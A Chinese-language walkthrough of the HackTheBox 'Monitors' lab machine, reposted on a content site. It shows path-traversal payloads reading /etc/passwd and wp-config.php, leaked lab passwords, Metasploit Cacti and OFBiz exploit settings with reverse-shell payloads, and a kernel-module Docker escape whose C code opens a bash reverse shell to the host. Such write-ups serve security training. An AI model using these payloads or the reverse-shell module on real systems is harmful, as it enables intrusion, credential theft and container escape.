栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 系统运维 > 运维 > Linux

HackTheBox-Monitors WP

Linux 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

HackTheBox-Monitors WP

0x01 端口探测

使用nmap对靶机端口进行探测:

nmap -sC -sV -v 10.10.10.238

发现只有两个端口是开着的:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 ba:cc:cd:81:fc:91:55:f3:f6:a9:1f:4e:e8:be:e5:2e (RSA)
|   256 69:43:37:6a:18:09:f5:e7:7a:67:b8:18:11:ea:d7:65 (ECDSA)
|_  256 5d:5e:3f:67:ef:7d:76:23:15:11:4b:53:f8:41:3a:94 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=iso-8859-1).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel


0x02 Webshell

首先访问IP,发现不允许连接。并发现域名monitors.htb:



将域名插入/etc/hosts中



再次访问,得到如下界面:



发现是wordpress,使用wpscan对该站点进行扫描,发现其安装了一带漏洞的插件,可以进行文件包含。



payload如下:

/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//etc/passwd



首先可以读一下数据库配置文件:

/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=../../../wp-config.php



拿到数据库凭据信息:

define( 'DB_USER', 'wpadmin' );


define( 'DB_PASSWORD', 'BestAdministrator@2020!' );

尝试使用该用户名密码登录WordPress后台,未果。

遂尝试从文件包含收集信息,最终发现在apache的默认站点配置文件下发现一个域名:



cacti-admin.monitors.htb

同样将该站点插入/etc/hosts中,访问该站点:



查一下历史漏洞,发现cacti存在SQL注入漏洞:



尝试利用的时候发现上面通过文件包含拿到的密码可以成功登录,于是直接以admin:BestAdministrator@2020!成功登录



尝试寻找上传点,未果。再次尝试寻找RCE,发现metasploit已经提供了成熟的利用模块:



配置好参数,一发入魂:

msf6 exploit(unix/http/cacti_filter_sqli_rce) > show options 

Module options (exploit/unix/http/cacti_filter_sqli_rce):

   Name       Current Setting           Required  Description
   ----       ---------------           --------  -----------
   CREDS      true                      no        Dump cacti creds
   PASSWORD   admin                     no        Password to login with
   Proxies                              no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     cacti-admin.monitors.htb  yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-metasploit
   RPORT      80                        yes       The target port (TCP)
   SSL        false                     no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /cacti/                   yes       The URI of Cacti
   USERNAME   admin                     yes       User to login with
   VHOST                                no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.10.16.8       yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target




0x03 User Shell

home目录下只有marcus一个用户,查看目录可以发现有个.backup文件夹

但是这个权限设置的比较有意思,我们无法查看文件夹里面的文件。






无奈之下尝试在其他目录找找线索。一番搜索后发现etc目录下有关键的信息:

grep -R marcus /etc 2>/dev/null #这里注意是-R不是-r,-r搜不到




查看该文件能够找到一个密码:



VerticalEdge2020

尝试使用该密码连接ssh,成功拿到用户marcus的shell:




0x04 Root Shell

marcus的home目录下有一个note.txt。查看发现是与docker相关的信息:




使用ps命令查找相关进程,发现8443端口起了另一个服务,且只允许本地连接:

ps aux | grep docker






使用SSH作端口转发

ssh -L 8443:localhost:8443 marcus@10.10.10.238

访问本地8443端口,发现是个tomcat:



扫目录发现apache ofbiz:




上网找CVE,搜索发现msf直接集成了exp,遂直接使用:

use exploit/linux/http/apache_ofbiz_deserialization
set payload linux/x64/meterpreter/reverse_tcp
set rhosts localhost
set lhost 10.10.14.8
set lport 4567
set ForceExploit true
exploit



接下来是docker容器逃逸,关于这方面的知识可以看看90sec Team写的一篇文章。

在这个环境中,是利用了CAP_SYS_MODULE的错误配置完成逃逸,首先使用capsh命令查看capabilities:

capsh --print

发现具有CAP_SYS_MODULE权限:



利用过程如下,首先创建两个文件:

reverse-shell.c

#include 
#include 
char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/172.17.0.1/4444 0>&1", NULL}; //这里填宿主机IP
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
static int __init reverse_shell_init(void) {
    return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
static void __exit reverse_shell_exit(void) {
    printk(KERN_INFO "Exitingn");
}
module_init(reverse_shell_init);
module_exit(reverse_shell_exit);

Makefile

obj-m +=reverse-shell.o
all:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

将上述文件下载到docker容器中,之后在宿主机启动nc进行监听:

nc -lvvp 4444



在容器中编译并插入恶意模块:

make
insmod reverse-shell.ko

即可成功逃逸,拿到root的宿主机shell:

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/343914.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号